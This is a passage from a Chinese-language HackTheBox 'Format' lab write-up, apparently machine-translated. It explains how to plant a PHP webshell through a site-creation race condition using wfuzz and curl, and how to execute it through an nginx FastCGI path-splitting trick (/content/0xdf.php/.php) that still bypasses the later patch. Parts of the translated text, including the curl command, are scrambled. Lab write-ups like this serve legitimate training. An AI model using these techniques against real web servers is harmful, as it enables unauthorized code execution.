我还没有创建race.microblog.htb,但这是我的Host标题。它正在使用我的会话 cookie,并尝试写入该站点的根目录。我添加了一个oops参数只是为了有一些东西,FUZZ所以wfuzz会一次发送大量请求。如果我循环尝试像curl这里这样的事情while true,那就太慢了。
一旦开始运行,我将创建该网站。例如,使用以下curl命令:
oxdfnew-blog-name=race curl -v app.microblog.htb/dashboard/ -b username=rbb8bp6umb0logs0i3sqlcp5kc -d
在创建该网站时,wfuzz会向其发出大量请求,其中一个请求可能会在其基本目录可写时登陆race。创建网站后,我将终止wfuzz并检查。webshell 在那里:
代码固定在addSite此处的函数中:
function addSite($site_name) {
if(isset($_SESSION['username'])) {
//check if site already exists
$scan = glob('/var/www/microblog/*', GLOB_ONLYDIR);
$taken_sites = array();
foreach($scan as $site) {
array_push($taken_sites, substr($site, strrpos($site, '/') + 1));
}
if(in_array($site_name, $taken_sites)) {
header("Location: /dashboard?message=Sorry, that site has already been taken&status=fail");
exit;
}
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock'); $redis->LPUSH($_SESSION['username'] . ":sites", $site_name);
$tmp_dir = "/tmp/" . generateRandomString(7);
system("mkdir -m 0700 " . $tmp_dir);
system("cp -r /var/www/microblog-template/* " . $tmp_dir);
system("chmod 500 " . $tmp_dir);
system("chmod +w /var/www/microblog");
system("cp -rp " . $tmp_dir . " /var/www/microblog/" . $site_name);
system("chmod -w microblog");
system ("chmod -R +w " . $tmp_dir);
system("rm -r " . $tmp_dir);
header("Location: /dashboard?message=Site added successfully!&status=success");
}
else {
header("Location: /dashboard?message=Site not added, authentication failed&status=fail");
}
}
现在,它不是就地创建目录,而是在/tmp. 然后它将所需的所有文件移至该目录中,并更改锁定该目录的权限。最后,它将其移动到 Web 目录中。现在要利用这种竞争条件,我必须猜测要/tmp写入的随机七个字符目录的名称。鉴于有 26^7 个可能的目录名称(超过 80 亿个),因此不可能进行暴力破解。
nginx 配置错误
有一个类似的绕过方法滥用了 nginx 站点的最初配置方式:
server {
listen 80;
listen [::]:80;
root /var/www/microblog/$subdomain;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html index.php;
server_name ~^(?P<subdomain>.+).microblog.htb$ ;
location / {
try_files $uri $uri/ =404;
}
location ~ ^/content/(?<request_basename>[^/]+)$ {
add_header Content-Disposition "attachment; filename=$request_basename";
}
# pass PHP scripts to FastCGI server
#
location ~ .php$ {
fastcgi_split_path_info ^(.+.php)(/.+)$;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
我知道我可以将 webshell 引入/content/0xdf.php. 但尝试访问该块将匹配:
location ~ ^/content/(?<request_basename>[^/]+)$ {
add_header Content-Disposition "attachment; filename=$request_basename";
}
这将添加Content-Disposition并返回一个文件,并且由于请求只能匹配一个location块,因此它不会到达第三个块。
下一个块是将以 PHP unix 套接字结尾的文件传递.php到 PHP unix 套接字以供执行。fastcgi_split_path_info将使用此正则表达式将path(主机和可选端口之后的所有内容)分成两部分。两个正则表达式捕获组(在 中())将保存到$fastci_script_name和$fastcgi_path_info。
在本例中,正则表达式为 ^(.+.php)(/.+)$;,它将匹配第一个之前的内容.php,并将其保存到$fastcgi_script_name,并将其余内容保存到$fastcgi_script_info。该块中的最后一行fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;导致调用第一行中派生的脚本名称的绝对路径。
为了滥用这一点,我将制作一个包含两个.php字符串的 URL。它必须:
end.php通过 fastcgi 传递给 PHP。
不匹配,^/content/(?<request_basename>[^/]+)$以便它得到执行。
$fastcgi_script_name最终成为/content/0xdf.php.
/.php诀窍是在 URL 末尾添加 a ,如下所示:
/content/0xdf.php/.php
这通过以 结尾来满足 1 .php。对于 2,因为还有另一个/,所以不匹配。在 3 中,它将拆分到第一个.php,捕获我想要的内容。其余部分作为参数的一部分过去。
修复不完整
为了修补这个问题,服务器配置块/etc/nginx/sites-enabled/microblog.htb已更新为:
server {
listen 80;
listen [::]:80;
root /var/www/microblog/$subdomain;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html index.php;
server_name ~^(?P<subdomain>.+).microblog.htb$ ;
location / {
try_files $uri $uri/ =404;
}
location ~^/content/(?<request_basename>[^/]+)(/.php)*$ {
add_header Content-Disposition "attachment; filename=$request_basename";
}
# pass PHP scripts to FastCGI server
#
location ~ .php$ {
fastcgi_split_path_info ^(.+.php)(/.+)$;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
这里的修复不太完整。现在,它会在末尾查找任意数量的句柄/.php,并且仍然将其作为附件发送。但它不允许在 之前添加额外的内容/.php。因此,即使在今天,最初用于非预期盒子的确切 URL 仍被阻止:
任何附加任何内容的变体/.php仍然有效:
原文始发于微信公众号(守护安全团队):玩转HTB靶场系列Format
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论